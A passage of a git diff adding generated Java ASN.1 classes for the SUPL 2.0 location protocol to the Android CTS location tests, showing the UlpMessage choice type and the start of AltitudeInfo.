+import android.location.cts.asn1.supl2.supl_auth_req.SUPLAUTHREQ;
+import android.location.cts.asn1.supl2.supl_auth_resp.SUPLAUTHRESP;
+import android.location.cts.asn1.supl2.supl_end.SUPLEND;
+import android.location.cts.asn1.supl2.supl_init.SUPLINIT;
+import android.location.cts.asn1.supl2.supl_notify.Ver2_SUPLNOTIFY;
+import android.location.cts.asn1.supl2.supl_notify_response.Ver2_SUPLNOTIFYRESPONSE;
+import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
+import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
+import android.location.cts.asn1.supl2.supl_report.Ver2_SUPLREPORT;
+import android.location.cts.asn1.supl2.supl_response.SUPLRESPONSE;
+import android.location.cts.asn1.supl2.supl_set_init.Ver2_SUPLSETINIT;
+import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
+import android.location.cts.asn1.supl2.supl_triggered_response.Ver2_SUPLTRIGGEREDRESPONSE;
+import android.location.cts.asn1.supl2.supl_triggered_start.Ver2_SUPLTRIGGEREDSTART;
+import android.location.cts.asn1.supl2.supl_triggered_stop.Ver2_SUPLTRIGGEREDSTOP;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UlpMessage extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_UlpMessage
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "UlpMessage: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public UlpMessage() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UlpMessage;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UlpMessage != null) {
+ return ImmutableList.of(TAG_UlpMessage);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new UlpMessage from encoded stream.
+ */
+ public static UlpMessage fromPerUnaligned(byte[] encodedBytes) {
+ UlpMessage result = new UlpMessage();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UlpMessage from encoded stream.
+ */
+ public static UlpMessage fromPerAligned(byte[] encodedBytes) {
+ UlpMessage result = new UlpMessage();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $MsSUPLINIT(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLINIT();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLINIT.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLSTART(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLSTART();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLSTART.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLRESPONSE(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLRESPONSE();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLRESPONSE.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLPOSINIT(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLPOSINIT();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLPOSINIT.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLPOS(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLPOS();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLPOS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLEND(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLEND();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLEND.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLAUTHREQ(Asn1Tag.fromClassAndNumber(2, 6),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLAUTHREQ();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLAUTHREQ.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLAUTHRESP(Asn1Tag.fromClassAndNumber(2, 7),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SUPLAUTHRESP();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLAUTHRESP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isMsSUPLINIT() {
+ return !hasExtensionValue() && Select.$MsSUPLINIT == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLINIT}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLINIT getMsSUPLINIT() {
+ if (!isMsSUPLINIT()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLINIT");
+ }
+ return (SUPLINIT) element;
+ }
+
+ public void setMsSUPLINIT(SUPLINIT selected) {
+ selection = Select.$MsSUPLINIT;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLINIT setMsSUPLINITToNewInstance() {
+ SUPLINIT element = new SUPLINIT();
+ setMsSUPLINIT(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLSTART() {
+ return !hasExtensionValue() && Select.$MsSUPLSTART == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLSTART}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLSTART getMsSUPLSTART() {
+ if (!isMsSUPLSTART()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLSTART");
+ }
+ return (SUPLSTART) element;
+ }
+
+ public void setMsSUPLSTART(SUPLSTART selected) {
+ selection = Select.$MsSUPLSTART;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLSTART setMsSUPLSTARTToNewInstance() {
+ SUPLSTART element = new SUPLSTART();
+ setMsSUPLSTART(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLRESPONSE() {
+ return !hasExtensionValue() && Select.$MsSUPLRESPONSE == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLRESPONSE}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLRESPONSE getMsSUPLRESPONSE() {
+ if (!isMsSUPLRESPONSE()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLRESPONSE");
+ }
+ return (SUPLRESPONSE) element;
+ }
+
+ public void setMsSUPLRESPONSE(SUPLRESPONSE selected) {
+ selection = Select.$MsSUPLRESPONSE;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLRESPONSE setMsSUPLRESPONSEToNewInstance() {
+ SUPLRESPONSE element = new SUPLRESPONSE();
+ setMsSUPLRESPONSE(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLPOSINIT() {
+ return !hasExtensionValue() && Select.$MsSUPLPOSINIT == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLPOSINIT}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLPOSINIT getMsSUPLPOSINIT() {
+ if (!isMsSUPLPOSINIT()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLPOSINIT");
+ }
+ return (SUPLPOSINIT) element;
+ }
+
+ public void setMsSUPLPOSINIT(SUPLPOSINIT selected) {
+ selection = Select.$MsSUPLPOSINIT;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLPOSINIT setMsSUPLPOSINITToNewInstance() {
+ SUPLPOSINIT element = new SUPLPOSINIT();
+ setMsSUPLPOSINIT(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLPOS() {
+ return !hasExtensionValue() && Select.$MsSUPLPOS == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLPOS}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLPOS getMsSUPLPOS() {
+ if (!isMsSUPLPOS()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLPOS");
+ }
+ return (SUPLPOS) element;
+ }
+
+ public void setMsSUPLPOS(SUPLPOS selected) {
+ selection = Select.$MsSUPLPOS;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLPOS setMsSUPLPOSToNewInstance() {
+ SUPLPOS element = new SUPLPOS();
+ setMsSUPLPOS(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLEND() {
+ return !hasExtensionValue() && Select.$MsSUPLEND == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLEND}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLEND getMsSUPLEND() {
+ if (!isMsSUPLEND()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLEND");
+ }
+ return (SUPLEND) element;
+ }
+
+ public void setMsSUPLEND(SUPLEND selected) {
+ selection = Select.$MsSUPLEND;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLEND setMsSUPLENDToNewInstance() {
+ SUPLEND element = new SUPLEND();
+ setMsSUPLEND(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLAUTHREQ() {
+ return !hasExtensionValue() && Select.$MsSUPLAUTHREQ == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLAUTHREQ}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLAUTHREQ getMsSUPLAUTHREQ() {
+ if (!isMsSUPLAUTHREQ()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLAUTHREQ");
+ }
+ return (SUPLAUTHREQ) element;
+ }
+
+ public void setMsSUPLAUTHREQ(SUPLAUTHREQ selected) {
+ selection = Select.$MsSUPLAUTHREQ;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLAUTHREQ setMsSUPLAUTHREQToNewInstance() {
+ SUPLAUTHREQ element = new SUPLAUTHREQ();
+ setMsSUPLAUTHREQ(element);
+ return element;
+ }
+
+
+
+ public boolean isMsSUPLAUTHRESP() {
+ return !hasExtensionValue() && Select.$MsSUPLAUTHRESP == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLAUTHRESP}.
+ */
+ @SuppressWarnings("unchecked")
+ public SUPLAUTHRESP getMsSUPLAUTHRESP() {
+ if (!isMsSUPLAUTHRESP()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLAUTHRESP");
+ }
+ return (SUPLAUTHRESP) element;
+ }
+
+ public void setMsSUPLAUTHRESP(SUPLAUTHRESP selected) {
+ selection = Select.$MsSUPLAUTHRESP;
+ extension = false;
+ element = selected;
+ }
+
+ public SUPLAUTHRESP setMsSUPLAUTHRESPToNewInstance() {
+ SUPLAUTHRESP element = new SUPLAUTHRESP();
+ setMsSUPLAUTHRESP(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $MsSUPLTRIGGEREDSTART(Asn1Tag.fromClassAndNumber(2, 8),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLTRIGGEREDSTART();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLTRIGGEREDSTART) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLTRIGGEREDRESPONSE(Asn1Tag.fromClassAndNumber(2, 9),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLTRIGGEREDRESPONSE();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLTRIGGEREDRESPONSE) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLTRIGGEREDSTOP(Asn1Tag.fromClassAndNumber(2, 10),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLTRIGGEREDSTOP();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLTRIGGEREDSTOP) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLNOTIFY(Asn1Tag.fromClassAndNumber(2, 11),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLNOTIFY();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLNOTIFY) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLNOTIFYRESPONSE(Asn1Tag.fromClassAndNumber(2, 12),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLNOTIFYRESPONSE();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLNOTIFYRESPONSE) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLSETINIT(Asn1Tag.fromClassAndNumber(2, 13),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLSETINIT();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLSETINIT) element).toIndentedString(indent);
+ }
+ },
+
+ $MsSUPLREPORT(Asn1Tag.fromClassAndNumber(2, 14),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_SUPLREPORT();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_SUPLREPORT) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionMsSUPLTRIGGEREDSTART() {
+ return hasExtensionValue() && Extend.$MsSUPLTRIGGEREDSTART == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLTRIGGEREDSTART}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLTRIGGEREDSTART getExtensionMsSUPLTRIGGEREDSTART() {
+ if (!isExtensionMsSUPLTRIGGEREDSTART()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLTRIGGEREDSTART");
+ }
+ return (Ver2_SUPLTRIGGEREDSTART) element;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDSTART(Ver2_SUPLTRIGGEREDSTART selected) {
+ selection = Extend.$MsSUPLTRIGGEREDSTART;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDSTARTToNewInstance() {
+ Ver2_SUPLTRIGGEREDSTART element = new Ver2_SUPLTRIGGEREDSTART();
+ setExtensionMsSUPLTRIGGEREDSTART(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLTRIGGEREDRESPONSE() {
+ return hasExtensionValue() && Extend.$MsSUPLTRIGGEREDRESPONSE == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLTRIGGEREDRESPONSE}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLTRIGGEREDRESPONSE getExtensionMsSUPLTRIGGEREDRESPONSE() {
+ if (!isExtensionMsSUPLTRIGGEREDRESPONSE()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLTRIGGEREDRESPONSE");
+ }
+ return (Ver2_SUPLTRIGGEREDRESPONSE) element;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDRESPONSE(Ver2_SUPLTRIGGEREDRESPONSE selected) {
+ selection = Extend.$MsSUPLTRIGGEREDRESPONSE;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDRESPONSEToNewInstance() {
+ Ver2_SUPLTRIGGEREDRESPONSE element = new Ver2_SUPLTRIGGEREDRESPONSE();
+ setExtensionMsSUPLTRIGGEREDRESPONSE(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLTRIGGEREDSTOP() {
+ return hasExtensionValue() && Extend.$MsSUPLTRIGGEREDSTOP == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLTRIGGEREDSTOP}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLTRIGGEREDSTOP getExtensionMsSUPLTRIGGEREDSTOP() {
+ if (!isExtensionMsSUPLTRIGGEREDSTOP()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLTRIGGEREDSTOP");
+ }
+ return (Ver2_SUPLTRIGGEREDSTOP) element;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDSTOP(Ver2_SUPLTRIGGEREDSTOP selected) {
+ selection = Extend.$MsSUPLTRIGGEREDSTOP;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLTRIGGEREDSTOPToNewInstance() {
+ Ver2_SUPLTRIGGEREDSTOP element = new Ver2_SUPLTRIGGEREDSTOP();
+ setExtensionMsSUPLTRIGGEREDSTOP(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLNOTIFY() {
+ return hasExtensionValue() && Extend.$MsSUPLNOTIFY == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLNOTIFY}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLNOTIFY getExtensionMsSUPLNOTIFY() {
+ if (!isExtensionMsSUPLNOTIFY()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLNOTIFY");
+ }
+ return (Ver2_SUPLNOTIFY) element;
+ }
+
+ public void setExtensionMsSUPLNOTIFY(Ver2_SUPLNOTIFY selected) {
+ selection = Extend.$MsSUPLNOTIFY;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLNOTIFYToNewInstance() {
+ Ver2_SUPLNOTIFY element = new Ver2_SUPLNOTIFY();
+ setExtensionMsSUPLNOTIFY(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLNOTIFYRESPONSE() {
+ return hasExtensionValue() && Extend.$MsSUPLNOTIFYRESPONSE == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLNOTIFYRESPONSE}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLNOTIFYRESPONSE getExtensionMsSUPLNOTIFYRESPONSE() {
+ if (!isExtensionMsSUPLNOTIFYRESPONSE()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLNOTIFYRESPONSE");
+ }
+ return (Ver2_SUPLNOTIFYRESPONSE) element;
+ }
+
+ public void setExtensionMsSUPLNOTIFYRESPONSE(Ver2_SUPLNOTIFYRESPONSE selected) {
+ selection = Extend.$MsSUPLNOTIFYRESPONSE;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLNOTIFYRESPONSEToNewInstance() {
+ Ver2_SUPLNOTIFYRESPONSE element = new Ver2_SUPLNOTIFYRESPONSE();
+ setExtensionMsSUPLNOTIFYRESPONSE(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLSETINIT() {
+ return hasExtensionValue() && Extend.$MsSUPLSETINIT == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLSETINIT}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLSETINIT getExtensionMsSUPLSETINIT() {
+ if (!isExtensionMsSUPLSETINIT()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLSETINIT");
+ }
+ return (Ver2_SUPLSETINIT) element;
+ }
+
+ public void setExtensionMsSUPLSETINIT(Ver2_SUPLSETINIT selected) {
+ selection = Extend.$MsSUPLSETINIT;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLSETINITToNewInstance() {
+ Ver2_SUPLSETINIT element = new Ver2_SUPLSETINIT();
+ setExtensionMsSUPLSETINIT(element);
+ }
+
+
+
+ public boolean isExtensionMsSUPLREPORT() {
+ return hasExtensionValue() && Extend.$MsSUPLREPORT == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsSUPLREPORT}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_SUPLREPORT getExtensionMsSUPLREPORT() {
+ if (!isExtensionMsSUPLREPORT()) {
+ throw new IllegalStateException("UlpMessage value not a MsSUPLREPORT");
+ }
+ return (Ver2_SUPLREPORT) element;
+ }
+
+ public void setExtensionMsSUPLREPORT(Ver2_SUPLREPORT selected) {
+ selection = Extend.$MsSUPLREPORT;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionMsSUPLREPORTToNewInstance() {
+ Ver2_SUPLREPORT element = new Ver2_SUPLREPORT();
+ setExtensionMsSUPLREPORT(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "UlpMessage = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java
new file mode 100755
index 0000000..c7a3ff1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AltitudeInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AltitudeInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AltitudeInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AltitudeInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AltitudeInfo != null) {
+ return ImmutableList.of(TAG_AltitudeInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AltitudeInfo from encoded stream.
+ */
+ public static AltitudeInfo fromPerUnaligned(byte[] encodedBytes) {
+ AltitudeInfo result = new AltitudeInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AltitudeInfo from encoded stream.
+ */
+ public static AltitudeInfo fromPerAligned(byte[] encodedBytes) {
+ AltitudeInfo result = new AltitudeInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AltitudeInfo.altitudeDirectionType altitudeDirection_;
+ public AltitudeInfo.altitudeDirectionType getAltitudeDirection() {
+ return altitudeDirection_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AltitudeInfo.altitudeDirectionType
+ */
+ public void setAltitudeDirection(Asn1Object value) {
+ this.altitudeDirection_ = (AltitudeInfo.altitudeDirectionType) value;
+ }
+ public AltitudeInfo.altitudeDirectionType setAltitudeDirectionToNewInstance() {
+ altitudeDirection_ = new AltitudeInfo.altitudeDirectionType();
+ return altitudeDirection_;
+ }
+
+ private AltitudeInfo.altitudeType altitude_;
+ public AltitudeInfo.altitudeType getAltitude() {
+ return altitude_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AltitudeInfo.altitudeType
+ */
+ public void setAltitude(Asn1Object value) {
+ this.altitude_ = (AltitudeInfo.altitudeType) value;
+ }
+ public AltitudeInfo.altitudeType setAltitudeToNewInstance() {
+ altitude_ = new AltitudeInfo.altitudeType();
